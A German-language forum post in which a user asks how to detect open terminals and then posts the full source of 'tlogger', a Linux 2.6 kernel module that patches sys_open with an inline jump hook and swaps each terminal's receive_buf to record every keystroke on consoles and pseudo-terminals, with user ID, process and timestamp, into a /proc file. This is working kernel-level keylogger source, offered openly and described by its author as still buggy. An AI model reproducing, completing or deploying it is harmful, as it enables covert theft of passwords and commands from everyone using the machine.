L
Okay... dachte mir schon, dass ich zu wenig Infos gepostet habe. Meinen kompletten Sourcecode wollte ich nicht hier reinpacken, weil er doch recht umfangreich ist.
Auch egal - mein Problem habe ich jetzt teilweise gelöst. Das einzige was ich jetzt nur noch erreichen muss ich festzustellen, ob ein Terminal geöffnet ist. Hat jemand eine Idee, wie ich das am geschicktesten realisieren könnte? Der einzige Weg der mir jetzt einfällt wäre, das komplette proc-Verzeichnis durchzulaufen und die Links im Verzeichnis der laufenden Prozesse (/proc/prozess-id/fd/nummer) daraufhin zu untersuchen, ob es sich um ein Terminal handelt oder nicht...
Mfg, Lord Kefir
ps: Falls es jemanden wirklich interessieren sollte, hier ist der Quellcode (noch recht buggy):
vlogger.h
#ifndef _TLOGGER_H
#define _TLOGGER_H 1
// Constants:
#define M_NAME "tlogger version 0.1.5"
#define M_LICENSE "GPL"
#define M_AUTHOR "Sebastian Fedrau <lord-kefir@arcor.de>"
#define M_VERSION "0.1.5"
#define M_DESCRIPTON "This module logs keyboard events."
#define CODESIZE 7
#define TTY_MAX 8
#define PTS_MAX 128
#define KEY_ENTER 13
#define KEY_ESCAPE 27
#define KEY_BACKSPACE_LOCAL 127
#define KEY_BACKSPACE_REMOTE 8
#define BUFFER_SIZE 256
#define PROCFS_NAME "tlogger"
#define PROCFS_BUFFER 5120
#define SECS_PER_HOUR (60 * 60)
#define SECS_PER_DAY (SECS_PER_HOUR * 24)
// Macros:
#define DPRINT(level, format, args...) printk (level M_NAME ": " format, ##args)
#define isleap(year) ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))
// datatypes:
typedef struct {
int tm_sec;
int tm_min;
int tm_hour;
int tm_mday;
int tm_mon;
int tm_year;
} vtm;
typedef struct {
struct tty_struct *tty;
char *buffer;
unsigned int pos, lastpos;
} loginfo;
#endif
vlogger.c
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/errno.h>
#include <linux/smp_lock.h>
#include <linux/kallsyms.h>
#include <linux/string.h>
#include <linux/file.h>
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/proc_fs.h>
#include "tlogger.h"
/* ----------------------------------------------
Macros:
---------------------------------------------- */
#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) ((a) * 65536 + (b) * 256 + (c))
#endif
MODULE_AUTHOR (M_AUTHOR);
MODULE_LICENSE (M_LICENSE);
MODULE_DESCRIPTION (M_DESCRIPTON);
/* ----------------------------------------------
Prototypes:
---------------------------------------------- */
int read_proc (char *buffer, char **buffer_location, off_t offset, int len,
int *eof, void *data);
/* -> read procfile */
int epoch2time (const time_t *t, long int offset, vtm *tp);
/* -> convert epoch to time */
static char *get_time (void);
/* -> get time-string */
static char *get_key (const unsigned char *cp, int count);
/* -> translate received keycode to character */
static inline unsigned int get_tty_index (struct tty_struct *tty);
/* -> get index of tty */
void _receive_buf (struct tty_struct *tty, const unsigned char *cp,
char *fp, int count);
/* -> fake receive_buf */
void (*receive_buf) (struct tty_struct *tty, const unsigned char *cp,
char *fp, int count);
/* -> original receive_buf */
static inline void init_tty (struct tty_struct *tty);
/* intecept receive_buf */
asmlinkage long _sys_open (const char __user *filename, int flags, int mode);
/* fake sys_open */
asmlinkage long (*sys_open) (const char __user *filename, int flags, int mode);
/* -> original sys_open */
void init_keylogger (void);
/* hook existing terminals */
int init_module (void);
/* -> initialization */
void cleanup_module (void);
/* unload module */
/* ----------------------------------------------
Global Variables:
---------------------------------------------- */
static long ksym; // address of "sys_open"
static char code[CODESIZE];
static char jump[CODESIZE] =
"\xb8\x00\x00\x00\x00"
"\xff\xe0";
static int gmt = 0;
static struct proc_dir_entry *procfile;
char procfs_buffer[PROCFS_BUFFER];
static loginfo logbuffer[TTY_MAX + PTS_MAX];
/* ----------------------------------------------
Command Line Arguments:
---------------------------------------------- */
MODULE_PARM (gmt, "i");
MODULE_PARM_DESC (gmt, "configure your timezone");
/* ----------------------------------------------
function: read_proc
---------------------------------------------- */
int read_proc (char *buffer, char **buffer_location, off_t offset, int len,
int *eof, void *data) {
if (offset > 0) {
return 0;
}
else {
int ret = sprintf (buffer, procfs_buffer);
memset (procfs_buffer, 0, PROCFS_BUFFER);
return ret;
}
}
/* ----------------------------------------------
function: epoch2time
---------------------------------------------- */
int epoch2time (const time_t *t, long int offset, vtm *tp) {
static const unsigned short int mon_yday[2][13] = {
/* Normal years. */
{ 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
/* Leap years. */
{ 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
};
long int days, rem, y;
const unsigned short int *ip;
days = *t / SECS_PER_DAY;
rem = *t % SECS_PER_DAY;
rem += offset;
while (rem < 0) {
rem += SECS_PER_DAY;
--days;
}
while (rem >= SECS_PER_DAY) {
rem -= SECS_PER_DAY;
++days;
}
tp->tm_hour = rem / SECS_PER_HOUR;
rem %= SECS_PER_HOUR;
tp->tm_min = rem / 60;
tp->tm_sec = rem % 60;
y = 1970;
while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
long int yg = y + days / 365 - (days % 365 < 0);
days -= ((yg - y) * 365 + LEAPS_THRU_END_OF (yg - 1) -
LEAPS_THRU_END_OF (y - 1));
y = yg;
}
tp->tm_year = y - 1900;
if (tp->tm_year != y - 1900)
return 0;
ip = mon_yday[isleap(y)];
for (y = 11; days < (long int) ip[y]; --y)
continue;
days -= ip[y];
tp->tm_mon = y;
tp->tm_mday = days + 1;
return 1;
}
/* ----------------------------------------------
function: get_time
---------------------------------------------- */
static char *get_time (void) {
struct timeval tv;
time_t t;
vtm tm;
static char buffer[25];
do_gettimeofday(&tv);
t = (time_t)tv.tv_sec;
epoch2time (&t, gmt, &tm);
sprintf (buffer, "%.2d.%.2d.%d %.2d:%.2d:%.2d", tm.tm_mday,
tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
tm.tm_sec);
return buffer;
}
/* ----------------------------------------------
function: get_key
---------------------------------------------- */
static char *get_key (const unsigned char *cp, int count) {
static char key[BUFFER_SIZE];
memset (key, 0, BUFFER_SIZE);
if (count == 1) {
switch (cp[0]) {
case 0x01:
strcpy (key, "{^A}");
break;
case 0x02:
strcpy (key, "{^B}");
break;
case 0x03:
strcpy (key, "{^C}");
break;
case 0x04:
strcpy (key, "{^D}");
break;
case 0x05:
strcpy (key, "{^E}");
break;
case 0x06:
strcpy (key, "{^F}");
break;
case 0x07:
strcpy (key, "{^G}");
break;
case 0x09:
strcpy (key, "{TAB}");
break;
case 0x0b:
strcpy (key, "{^K}");
break;
case 0x0c:
strcpy (key, "{^L}");
break;
case 0x0e:
strcpy (key, "{^E}");
break;
case 0x0f:
strcpy (key, "{^O}");
break;
case 0x10:
strcpy (key, "{^P}");
break;
case 0x11:
strcpy (key, "{^Q}");
break;
case 0x12:
strcpy (key, "{^R}");
break;
case 0x13:
strcpy (key, "{^S}");
break;
case 0x14:
strcpy (key, "{^T}");
break;
case 0x15:
strcpy (key, "{^U}");
break;
case 0x16:
strcpy (key, "{^V}");
break;
case 0x17:
strcpy (key, "{^W}");
break;
case 0x18:
strcpy (key, "{^X}");
break;
case 0x19:
strcpy (key, "{^Y}");
break;
case 0x1a:
strcpy (key, "{^Z}");
break;
case 0x1c:
strcpy (key, "{^\\}");
break;
case 0x1d:
strcpy (key, "{^]}");
break;
case 0x1e:
strcpy (key, "{^^}");
break;
case 0x1f:
strcpy (key, "{^_}");
break;
case KEY_ENTER:
strcpy (key, "{enter}");
break;
case KEY_BACKSPACE_LOCAL:
case KEY_BACKSPACE_REMOTE:
strcpy (key, "{backspace}");
break;
case KEY_ESCAPE:
strcpy (key, "{escape}");
break;
default:
key[0] = cp[0];
key[1] = '\0';
break;
}
}
else {
// special key:
if (cp[0] == KEY_ESCAPE) {
switch (count) {
case 2:
switch (cp[1]) {
case '\'':
strcpy (key, "{Alt-\'}");
break;
case ',':
strcpy (key, "{Alt-,}");
break;
case '.':
strcpy (key, "{Alt-.}");
break;
case '/':
strcpy (key, "{Alt-/}");
break;
case '0':
strcpy (key, "{Alt-0}");
break;
case '1':
strcpy (key, "{Alt-1}");
break;
case '2':
strcpy (key, "{Alt-2}");
break;
case '3':
strcpy (key, "{Alt-3}");
break;
case '4':
strcpy (key, "{Alt-4}");
break;
case '5':
strcpy (key, "{Alt-5}");
break;
case '6':
strcpy (key, "{Alt-6}");
break;
case '7':
strcpy (key, "{Alt-7}");
break;
case '8':
strcpy (key, "{Alt-8}");
break;
case '9':
strcpy (key, "{Alt-9}");
break;
case ';':
strcpy (key, "{Alt-;}");
break;
case '=':
strcpy (key, "{Alt-=}");
break;
case '[':
strcpy (key, "{Alt-[}");
break;
case '\\':
strcpy (key, "{Alt-\\}");
break;
case ']':
strcpy (key, "{Alt-]}");
break;
case '`':
strcpy (key, "{Alt-`}");
break;
case 'a':
strcpy (key, "{Alt-A}");
break;
case 'b':
strcpy (key, "{Alt-B}");
break;
case 'c':
strcpy (key, "{Alt-C}");
break;
case 'd':
strcpy (key, "{Alt-D}");
break;
case 'e':
strcpy (key, "{Alt-E}");
break;
case 'f':
strcpy (key, "{Alt-F}");
break;
case 'g':
strcpy (key, "{Alt-G}");
break;
case 'h':
strcpy (key, "{Alt-H}");
break;
case 'i':
strcpy (key, "{Alt-I}");
break;
case 'j':
strcpy (key, "{Alt-J}");
break;
case 'k':
strcpy (key, "{Alt-K}");
break;
case 'l':
strcpy (key, "{Alt-L}");
break;
case 'm':
strcpy (key, "{Alt-M}");
break;
case 'n':
strcpy (key, "{Alt-N}");
break;
case 'o':
strcpy (key, "{Alt-O}");
break;
case 'p':
strcpy (key, "{Alt-P}");
break;
case 'q':
strcpy (key, "{Alt-Q}");
break;
case 'r':
strcpy (key, "{Alt-R}");
break;
case 's':
strcpy (key, "{Alt-S}");
break;
case 't':
strcpy (key, "{Alt-T}");
break;
case 'u':
strcpy (key, "{Alt-U}");
break;
case 'v':
strcpy (key, "{Alt-V}");
break;
case 'w':
strcpy (key, "{Alt-W}");
break;
case 'x':
strcpy (key, "{Alt-X}");
break;
case 'y':
strcpy (key, "{Alt-Y}");
break;
case 'z':
strcpy (key, "{Alt-Z}");
break;
}
break;
case 3:
switch (cp[2]) {
case 68:
strcpy (key, "{left}");
break;
case 67:
strcpy (key, "{right}");
break;
case 65:
strcpy (key, "{up}");
break;
case 66:
strcpy (key, "{down}");
break;
case 80:
strcpy (key, "{break}");
break;
case 70:
strcpy (key, "{end}");
break;
case 72:
strcpy (key, "{home}");
break;
}
break;
case 4:
switch (cp[3]) {
case 65:
strcpy (key, "{F1}");
break;
case 66:
strcpy (key, "{F2}");
break;
case 67:
strcpy (key, "{F3}");
break;
case 68:
strcpy (key, "{F4}");
break;
case 69:
strcpy (key, "{F5}");
break;
case 126:
switch (cp[2]) {
case 53:
strcpy (key, "{page up}");
break;
case 54:
strcpy (key, "{page down}");
break;
case 49:
strcpy (key, "{home}");
break;
case 52:
strcpy (key, "{end}");
break;
case 50:
strcpy (key, "{insert}");
break;
case 51:
strcpy (key, "{delete}");
break;
}
break;
}
break;
case 5:
if (cp[2] == 50) {
switch (cp[3]) {
case 48:
strcpy (key, "{F9}");
break;
case 49:
strcpy (key, "{F10}");
break;
case 51:
strcpy (key, "{F11}");
break;
case 52:
strcpy (key, "{F12}");
break;
case 53:
strcpy (key, "{shift-F1}");
break;
case 54:
strcpy (key, "{shift-F2}");
break;
case 56:
strcpy (key, "{shift-F3}");
break;
case 57:
strcpy (key, "{shift-F4}");
break;
}
}
else {
switch (cp[3]) {
case 55:
strcpy (key, "{F6}");
break;
case 56:
strcpy (key, "{F7}");
break;
case 57:
strcpy (key, "{F8}");
break;
case 49:
strcpy (key, "{shift-F5}");
break;
case 50:
strcpy (key, "{shift-F6}");
break;
case 51:
strcpy (key, "{shift-F7}");
break;
case 52:
strcpy (key, "{shift-F8}");
break;
}
}
break;
default:
break;
}
}
else {
if (strlen (cp) < BUFFER_SIZE)
strcpy (key, cp);
else
strcpy (key, "{warning: buffer error}");
}
}
return (key);
}
/* ----------------------------------------------
function: get_tty_index
---------------------------------------------- */
static inline unsigned int get_tty_index (struct tty_struct *tty) {
unsigned int index;
if (tty->driver->type == TTY_DRIVER_TYPE_PTY)
index = tty->index + TTY_MAX;
else
index = tty->index;
return (index);
}
/* ----------------------------------------------
function: _receive_buf
---------------------------------------------- */
void _receive_buf (struct tty_struct *tty, const unsigned char *cp,
char *fp, int count) {
struct task_struct *task;
unsigned int index;
char keybuffer[BUFFER_SIZE], new_line[BUFFER_SIZE + 256];
// find task:
task = find_task_by_pid (tty->pgrp);
// get index of tty:
index = get_tty_index (tty);
// get key(s):
strcpy (keybuffer, get_key (cp, count));
// backspace:
if (strcmp (keybuffer, "{backspace}") == 0) {
if (logbuffer[index].lastpos != 0) {
logbuffer[index].buffer[--logbuffer[index].lastpos] = '\0';
}
}
else {
// special character:
if (keybuffer[0] == '{' && keybuffer[strlen (keybuffer) - 1] == '}') {
if (strcmp (keybuffer, "{enter}") != 0) {
if (logbuffer[index].lastpos + strlen (keybuffer) <= BUFFER_SIZE) {
strncat (logbuffer[index].buffer, keybuffer, strlen (keybuffer));
}
else {
DPRINT (KERN_ALERT, "error: full buffer\n");
}
}
// create new line:
sprintf (new_line, "%s %s %d %d %s %s\n",
get_time(), tty->name, task->uid, task->pid, task->comm,
logbuffer[index].buffer);
// add logbuffer to procfs_buffer:
if (strlen (new_line) + strlen (procfs_buffer) <= PROCFS_BUFFER)
strcat (procfs_buffer, new_line);
else
DPRINT (KERN_ALERT, "error: full buffer\n");
// reset logbuffer:
memset (logbuffer[index].buffer, 0, BUFFER_SIZE);
logbuffer[index].pos = 0;
logbuffer[index].lastpos = 0;
}
else {
// 'regular' key:
if (logbuffer[index].lastpos + strlen (keybuffer) <= BUFFER_SIZE) {
logbuffer[index].lastpos += strlen (keybuffer);
strncat (logbuffer[index].buffer, keybuffer, strlen (keybuffer));
}
else {
DPRINT (KERN_ALERT, "error: full buffer\n");
}
}
}
// call original function:
(*receive_buf) (tty, cp, fp, count);
}
/* ----------------------------------------------
function: init_tty
---------------------------------------------- */
static inline void init_tty (struct tty_struct *tty) {
unsigned int index;
static unsigned short store_rb = 1;
// store original receive_buf:
if (store_rb) {
DPRINT (KERN_INFO, "store original receive_buf\n");
store_rb = 0;
receive_buf = tty->ldisc.receive_buf;
}
// get index of tty:
index = get_tty_index (tty);
if (index <= TTY_MAX + PTS_MAX) {
// intercept receive_buf:
if (tty->ldisc.receive_buf != _receive_buf) {
DPRINT (KERN_INFO, "init %s [index: %d]\n", tty->name, index);
logbuffer[index].tty = tty;
tty->ldisc.receive_buf = _receive_buf;
// initialize buffer:
logbuffer[index].pos = 0;
logbuffer[index].lastpos = 0;
logbuffer[index].buffer = kmalloc(BUFFER_SIZE, GFP_KERNEL);
if (!logbuffer[index].buffer) {
DPRINT (KERN_ALERT, "allocation error\n");
cleanup_module ();
}
memset (logbuffer[index].buffer, 0, BUFFER_SIZE);
}
}
else
DPRINT (KERN_ALERT, "could not initialize %s\n", tty->name);
}
/* ----------------------------------------------
function: _sys_open
---------------------------------------------- */
asmlinkage long _sys_open (const char __user *filename, int flags, int mode) {
long ret;
// call original function:
memcpy (sys_open, code, CODESIZE);
ret = sys_open (filename, flags, mode);
memcpy (sys_open, jump, CODESIZE);
if (ret > 0) {
struct file *file;
struct tty_struct *tty;
lock_kernel ();
file = fget (ret);
if (file && !IS_ERR (file)) {
tty = file->private_data;
if (tty && strcmp (filename, "/dev/tty") == 0) {
init_tty (tty);
}
}
fput (file);
unlock_kernel ();
}
return ret;
}
/* ----------------------------------------------
function: init_keylogger
---------------------------------------------- */
void init_keylogger (void) {
struct file *filp;
struct tty_struct *tty;
if ((filp = filp_open ("/dev/vc/2", O_RDONLY, 0)) != NULL) {
if ((tty = filp->private_data) != NULL) {
init_tty (tty);
}
filp_close (filp, NULL);
}
}
/* ----------------------------------------------
function: init_module
---------------------------------------------- */
int init_module (void) {
int i;
DPRINT (KERN_INFO, "loading module\n");
// proof kernelversion:
if (LINUX_VERSION_CODE < KERNEL_VERSION (2, 6, 0)) {
DPRINT (KERN_ALERT,
"could not initialize module: you need at least kernel version 2.6.0\n");
return -EPERM;
}
// create procfile:
if ((procfile = create_proc_entry (PROCFS_NAME, 027, NULL)) == NULL) {
remove_proc_entry (PROCFS_NAME, &proc_root);
DPRINT (KERN_ALERT, "could not initialize /proc/%s\n", PROCFS_NAME);
return -ENOMEM;
}
else {
procfile->read_proc = read_proc;
procfile->owner = THIS_MODULE;
procfile->mode = S_IFREG;
procfile->uid = 0;
procfile->gid = 0;
procfile->size = 0;
DPRINT (KERN_INFO, "/proc/%s created\n", PROCFS_NAME);
}
// initialize procfs_buffer:
memset (procfs_buffer, 0, PROCFS_BUFFER);
// initialize logbuffer:
for (i = 0; i < TTY_MAX + PTS_MAX; ++i) {
logbuffer[i].tty = NULL;
}
lock_kernel ();
// hijack sys_open:
if (!(ksym = kallsyms_lookup_name ("sys_open"))) {
DPRINT (KERN_ALERT, "could not find kernel symbol\n");
return -ENXIO;
}
*(unsigned long *)&jump[1] = (long)_sys_open;
sys_open = (long (*) (const char __user *, int, int))ksym;
memcpy (code, sys_open, CODESIZE);
memcpy (sys_open, jump, CODESIZE);
unlock_kernel();
// hook existing terminals:
init_keylogger ();
return 0;
}
/* ----------------------------------------------
function: cleanup_module
---------------------------------------------- */
void cleanup_module (void) {
unsigned int i;
lock_kernel ();
// restore sys_open:
memcpy (sys_open, code, CODESIZE);
// reset ttys:
for (i = 0; i < TTY_MAX + PTS_MAX; ++i) {
if (logbuffer[i].tty != NULL) {
DPRINT (KERN_INFO, "reset tty[%d]\n", i);
logbuffer[i].tty->ldisc.receive_buf = receive_buf;
logbuffer[i].tty = NULL;
}
if (logbuffer[i].buffer) {
kfree (logbuffer[i].buffer);
}
}
unlock_kernel ();
// remove procfile:
remove_proc_entry (PROCFS_NAME, &proc_root);
DPRINT (KERN_INFO, "/proc/%s removed\n", PROCFS_NAME);
DPRINT (KERN_INFO, "module unloaded\n");
}